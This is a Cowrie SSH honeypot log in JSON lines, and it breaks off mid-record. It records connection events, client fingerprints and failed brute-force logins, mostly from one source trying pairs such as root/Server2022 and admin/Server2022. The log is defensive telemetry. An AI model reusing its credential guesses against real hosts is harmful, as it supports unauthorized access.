{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:40.411448Z","src_ip":"81.91.233.66","session":"d90f083d5d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:41.326535Z","src_ip":"152.67.46.203","session":"466fc4ece111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:41.452074Z","src_ip":"2.57.122.209","session":"2344a4f0a939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2021","message":"login attempt [user/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:41.458717Z","src_ip":"81.91.233.66","session":"d90f083d5d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:41.941460Z","src_ip":"81.91.233.66","session":"d90f083d5d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60856,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a4098c45f3","protocol":"ssh","message":"New connection: 81.91.233.66:60856 (10.17.0.5:22) [session: 02a4098c45f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:42.199610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:42.205739Z","src_ip":"81.91.233.66","session":"02a4098c45f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:42.454310Z","src_ip":"81.91.233.66","session":"02a4098c45f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2021","message":"login attempt [user2/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:43.483622Z","src_ip":"81.91.233.66","session":"02a4098c45f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:43.972685Z","src_ip":"81.91.233.66","session":"02a4098c45f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60985,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f3a2595cf84","protocol":"ssh","message":"New connection: 81.91.233.66:60985 (10.17.0.5:22) [session: 6f3a2595cf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:44.235486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:44.239777Z","src_ip":"81.91.233.66","session":"6f3a2595cf84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:44.487994Z","src_ip":"81.91.233.66","session":"6f3a2595cf84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2022","message":"login attempt [root/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:45.513577Z","src_ip":"81.91.233.66","session":"6f3a2595cf84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:46.007839Z","src_ip":"81.91.233.66","session":"6f3a2595cf84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:46.042991Z","src_ip":"139.19.117.129","session":"ba19ae38f165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":61094,"dst_ip":"10.17.0.5","dst_port":22,"session":"a57c839cff52","protocol":"ssh","message":"New connection: 81.91.233.66:61094 (10.17.0.5:22) [session: a57c839cff52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:46.270890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:46.274725Z","src_ip":"81.91.233.66","session":"a57c839cff52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:46.523679Z","src_ip":"81.91.233.66","session":"a57c839cff52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2022","message":"login attempt [admin/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:47.551252Z","src_ip":"81.91.233.66","session":"a57c839cff52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":59802,"dst_ip":"159.203.135.109","dst_port":22,"session":"451ae4a1cf82","protocol":"ssh","message":"New connection: 159.65.58.200:59802 (159.203.135.109:22) [session: 451ae4a1cf82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:47.790737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:47.910891Z","src_ip":"159.65.58.200","session":"451ae4a1cf82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:47.913852Z","src_ip":"159.65.58.200","session":"451ae4a1cf82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:48.030689Z","src_ip":"81.91.233.66","session":"a57c839cff52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1463,"dst_ip":"10.17.0.5","dst_port":22,"session":"24b37f9e3e39","protocol":"ssh","message":"New connection: 81.91.233.66:1463 (10.17.0.5:22) [session: 24b37f9e3e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:48.306153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:48.310206Z","src_ip":"81.91.233.66","session":"24b37f9e3e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:48.568648Z","src_ip":"81.91.233.66","session":"24b37f9e3e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sandal","password":"123456","message":"login attempt [sandal/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:48.906855Z","src_ip":"159.65.58.200","session":"451ae4a1cf82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2022","message":"login attempt [user/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:49.622601Z","src_ip":"81.91.233.66","session":"24b37f9e3e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:50.104419Z","src_ip":"81.91.233.66","session":"24b37f9e3e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:50.132627Z","src_ip":"159.65.58.200","session":"451ae4a1cf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1937,"dst_ip":"10.17.0.5","dst_port":22,"session":"02f24e1b8ac5","protocol":"ssh","message":"New connection: 81.91.233.66:1937 (10.17.0.5:22) [session: 02f24e1b8ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:50.362836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:50.367410Z","src_ip":"81.91.233.66","session":"02f24e1b8ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:50.618475Z","src_ip":"81.91.233.66","session":"02f24e1b8ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2022","message":"login attempt [user2/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:51.651161Z","src_ip":"81.91.233.66","session":"02f24e1b8ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:52.135543Z","src_ip":"81.91.233.66","session":"02f24e1b8ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":61452,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ac2e1ffd14","protocol":"ssh","message":"New connection: 81.91.233.66:61452 (10.17.0.5:22) [session: 42ac2e1ffd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:52.409787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:52.412367Z","src_ip":"81.91.233.66","session":"42ac2e1ffd14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:52.666853Z","src_ip":"81.91.233.66","session":"42ac2e1ffd14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2026","message":"login attempt [root/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:53.717559Z","src_ip":"81.91.233.66","session":"42ac2e1ffd14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:54.210475Z","src_ip":"81.91.233.66","session":"42ac2e1ffd14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":2716,"dst_ip":"10.17.0.5","dst_port":22,"session":"99055903e607","protocol":"ssh","message":"New connection: 81.91.233.66:2716 (10.17.0.5:22) [session: 99055903e607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:54.466116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:54.470457Z","src_ip":"81.91.233.66","session":"99055903e607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:54.720653Z","src_ip":"81.91.233.66","session":"99055903e607","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:54.914550Z","src_ip":"8.210.75.243","session":"511fc49bfb45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa",